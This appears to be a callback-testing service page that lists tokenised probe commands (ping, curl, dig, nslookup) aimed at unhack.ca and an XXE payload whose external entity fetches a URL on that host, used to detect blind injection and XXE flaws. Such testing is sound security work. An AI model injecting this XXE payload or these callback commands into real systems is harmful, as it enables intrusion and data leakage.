$ ping -c1 -p 00417290616c78ef30052fab6d5f6600 unhack.ca
 
$ curl http://unhack.ca/p/417290616c78ef30052fab6d5f66
 
$ dig 417290616c78ef30052fab6d5f66 @unhack.ca
 
$ dig 417290616c78ef30052fab6d5f66.ns.unhack.ca
 
C:\> nslookup 417290616c78ef30052fab6d5f66 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/417290616c78ef30052fab6d5f66">]>
    <foo>&xxe;</foo>
Waiting for ping...